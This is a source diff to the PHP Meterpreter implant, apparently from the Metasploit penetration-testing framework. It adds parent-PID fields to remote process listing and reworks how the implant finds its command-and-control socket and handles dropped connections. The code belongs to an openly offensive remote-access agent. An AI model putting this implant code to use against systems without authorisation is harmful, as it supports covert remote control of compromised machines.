diff --git a/php/meterpreter/ext_server_stdapi.php b/php/meterpreter/ext_server_stdapi.php index 81d7993d4..39a870ccb 100755 --- a/php/meterpreter/ext_server_stdapi.php +++ b/php/meterpreter/ext_server_stdapi.php @@ -110,6 +110,7 @@ define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); define("TLV_TYPE_PID", TLV_META_TYPE_UINT | 2300); +define("TLV_TYPE_PARENT_PID", TLV_META_TYPE_UINT | 2307); define("TLV_TYPE_PROCESS_NAME", TLV_META_TYPE_STRING | 2301); define("TLV_TYPE_PROCESS_PATH", TLV_META_TYPE_STRING | 2302); define("TLV_TYPE_PROCESS_GROUP", TLV_META_TYPE_GROUP | 2303); @@ -1099,10 +1100,15 @@ function stdapi_sys_process_get_processes($req, &$pkt) { array_push($list, $proc_info); } } else { - # This command produces a line like: - # 1553 root /sbin/getty -8 38400 tty1 - $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null"); + # This command produces output like: + # PID PPID USER ARGS + # 1 0 root /sbin/launchd + # 120 1 root /usr/libexec/logd + # 'args' is the POSIX name for the full command line with arguments, + # supported on Linux, macOS, and FreeBSD (unlike 'command'/'cmd'). + $output = my_cmd("ps ax -w -o pid,ppid,user,args 2>/dev/null"); $lines = explode("\n", trim($output)); + array_shift($lines); # skip header foreach ($lines as $line) { array_push($list, preg_split("/\s+/", trim($line))); } @@ -1110,12 +1116,15 @@ function stdapi_sys_process_get_processes($req, &$pkt) { foreach ($list as $proc) { $grp = ""; $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); - # Strip the pid and the user name off the front; the rest will be the - # full command line - array_shift($proc); - array_shift($proc); + array_shift($proc); # remove pid + if (!is_windows()) { + $grp .= tlv_pack(create_tlv(TLV_TYPE_PARENT_PID, $proc[0])); + array_shift($proc); # remove ppid + } + $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[0])); + array_shift($proc); # remove user + $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[0])); + # The rest of $proc (from index 0 onwards after shifts) is the full command line $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join(" ", $proc))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); } diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 597a3f239..9101b9a77 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -1099,9 +1099,18 @@ function write_tlv_to_socket($resource, $raw) { write($resource, $xor . xor_bytes($xor, encrypt_packet($raw))); } -function handle_dead_resource_channel($resource) { - global $msgsock; +# Returns the active transport's C2 socket, or null for HTTP transports +# (which don't use a persistent socket). +function get_c2_socket() { + $idx = $GLOBALS['current_transport_idx']; + if (!isset($GLOBALS['transport_list'][$idx])) { + return null; + } + $t = $GLOBALS['transport_list'][$idx]; + return isset($t['_socket']) ? $t['_socket'] : null; +} +function handle_dead_resource_channel($resource) { if (!is_resource($resource) && !is_object($resource)) { return; } @@ -1120,16 +1129,24 @@ function handle_dead_resource_channel($resource) { # Make sure we close other handles associated with this channel as well channel_close_handles($cid); - # Notify the client that this channel is dead - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); + # Notify the client that this channel is dead. This function is only + # ever called from dispatch_tcp, so HTTP transports never reach here. + # On HTTP, the framework discovers a dead channel implicitly: the next + # core_channel_read poll returns ERROR_FAILURE (channel_read returns + # false on EOF), and the framework infers closure from that error. + # The null guard below is a safety net in case that changes. + $c2_sock = get_c2_socket(); + if ($c2_sock !== null) { + $pkt = pack("N", PACKET_TYPE_REQUEST); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - write_tlv_to_socket($msgsock, $pkt); + # Add the length to the beginning of the packet + $pkt = pack("N", strlen($pkt) + 4) . $pkt; + write_tlv_to_socket($c2_sock, $pkt); + } } } @@ -1593,7 +1610,14 @@ function dispatch_tcp(&$transport) { $len_array = unpack("Nlen", substr($header, 20, 4)); $len = $len_array['len'] + 32 - 8; while (strlen($packet) < $len) { - $packet .= read($msgsock, $len - strlen($packet)); + $chunk = read($msgsock, $len - strlen($packet)); + if ($chunk === false || $chunk === '') { + # The C2 socket closed mid-packet; the partial packet is + # unprocessable so retire rather than attempt a corrupt response. + remove_reader($msgsock); close($msgsock); + return DISPATCH_RETIRE; + } + $packet .= $chunk; } $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); write_tlv_to_socket($msgsock, $response); @@ -1924,11 +1948,15 @@ function read($resource, $len=null) { socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port); } else { my_print("Reading TCP socket"); - $buff .= socket_read($resource, $len, PHP_BINARY_READ); + $result = socket_read($resource, $len, PHP_BINARY_READ); + # socket_read returns "" or false when the peer closes the connection. + if ($result === false || $result === '') { + return false; + } + $buff = $result; } break; case 'stream': - global $msgsock; # Calling select here should ensure that we never try to read from a socket # or pipe that doesn't currently have data. If that ever happens, the # whole php process will block waiting for data that may never come. @@ -1972,13 +2000,25 @@ function read($resource, $len=null) { } else { $tmp = fread($resource, $len); $last_requested_len = $len; + # An empty fread on a stream that stream_select reported as readable + # means the peer has closed the connection (EOF). feof() may not return + # true immediately on all stream types (e.g. SSL), so treat "" as EOF. + if ($tmp === false || $tmp === '') { + # If we've already buffered some data, return what we have rather + # than signalling EOF; the caller will see EOF on the next read. + if (strlen($buff) > 0) { + break; + } + return false; + } $buff .= $tmp; if (strlen($tmp) < $len) { break; } } - if ($resource != $msgsock) { my_print("buff: '$buff'"); } + $c2_sock = get_c2_socket(); + if ($resource !== $c2_sock) { my_print("buff: '$buff'"); } $r = Array($resource); } my_print(sprintf("Done with the big read loop on %s, got %d bytes, asked for %d bytes", get_resource_map_id($resource), strlen($buff), $last_requested_len));